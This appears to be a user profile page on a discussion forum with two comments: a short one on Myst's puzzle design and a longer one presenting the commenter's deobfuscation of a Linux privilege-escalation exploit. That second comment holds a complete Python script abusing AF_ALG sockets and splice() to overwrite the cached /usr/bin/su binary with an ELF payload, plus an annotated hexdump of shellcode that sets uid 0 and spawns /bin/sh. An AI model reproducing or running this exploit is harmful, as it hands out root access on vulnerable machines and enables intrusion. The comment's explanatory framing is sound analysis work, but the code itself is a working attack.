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Joined 2 years ago
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Cake day: August 21st, 2024

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  • myst is like the one franchise from this era that doesn’t do that. every puzzle has its solution written down in the world somewhere and simply exploring and reading basically guarantees that you’ll find it. it’s a world for you to immerse yourself in.

    compare that to contemporary stuff like the king’s quest series, which is designed with the expectation that you fail over and over again, where puzzles have multiple valid solutions but all of them except one will s block you from solving another puzzle three hours later, with no prior indication.

    myst is eminently solvable with basically no trial-and-error at all, which is why it still endures.







  • here’s my attempt at deobfuscating it:

    #!/usr/bin/env python3
    
    import os
    import zlib
    import socket as s
    
    
    def inject(file, offset, data):
        sock = s.socket(s.AF_ALG, s.SOCK_SEQPACKET)
        sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    
        sock.setsockopt(s.SOL_ALG, s.SO_DEBUG, bytes.fromhex("0800010000000010" + "0" * 64))
        sock.setsockopt(s.SOL_ALG, s.SO_DONTROUTE, None, optlen=4)
        conn, _ = sock.accept()
     
        conn.sendmsg(
            [b"AAAA" + data],
            [
                (s.SOL_ALG, s.MSG_OOB | s.MSG_PEEK, b"\x00\x00\x00\x00"),
                (s.SOL_ALG, s.MSG_PEEK, b"\x10\x00\x00\x00" + b"\x00" * 16),
                (s.SOL_ALG, s.MSG_DONTROUTE, b"\x08\x00\x00\x00"),
            ],
            s.MSG_MORE,
        )
        r, w = os.pipe()
        os.splice(file, w, offset + 4, offset_src=0)
        os.splice(r, conn.fileno(), offset + 4)
        try:
            conn.recv(8 + offset)
        except:
            pass
    
    
    binary = os.open("/usr/bin/su", os.O_RDONLY)
    offset = 0
    payload = zlib.decompress(
        bytes.fromhex(
            "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301"
            "d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b96"
            "75c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
        )
    )
    
    while offset < len(payload):
        inject(binary, offset, payload[offset : offset + 4])
        offset += 4
    
    os.system("su")
    

    as far as i understand the writeup, the weakness is in the splice() function, because it silently crosses an auth boundary. the payload looks like this:

    00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............ # ELF x86-64 v1, executable
    00000010: 0200 3e00 0100 0000 7800 4000 0000 0000  ..>.....x.@.....
    00000020: 4000 0000 0000 0000 0000 0000 0000 0000  @...............
    00000030: 0000 0000 4000 3800 0100 0000 0000 0000  ....@.8......... # contains 1 56-bit program header
    00000040: 0100 0000 0500 0000 0000 0000 0000 0000  ................ # program header starts
    00000050: 0000 4000 0000 0000 0000 4000 0000 0000  ..@.......@.....
    00000060: 9e00 0000 0000 0000 9e00 0000 0000 0000  ................ # flags r-x
    00000070: 0010 0000 0000 0000 31c0 31ff b069 0f05  ........1.1..i.. # program starts
    00000080: 488d 3d0f 0000 0031 f66a 3b58 990f 0531  H.=....1.j;X...1
    00000090: ff6a 3c58 0f05 2f62 696e 2f73 6800 0000  .j<X../bin/sh...
    

    it’s an ELF header that replaces the one on the cached version of the binary (su in this case).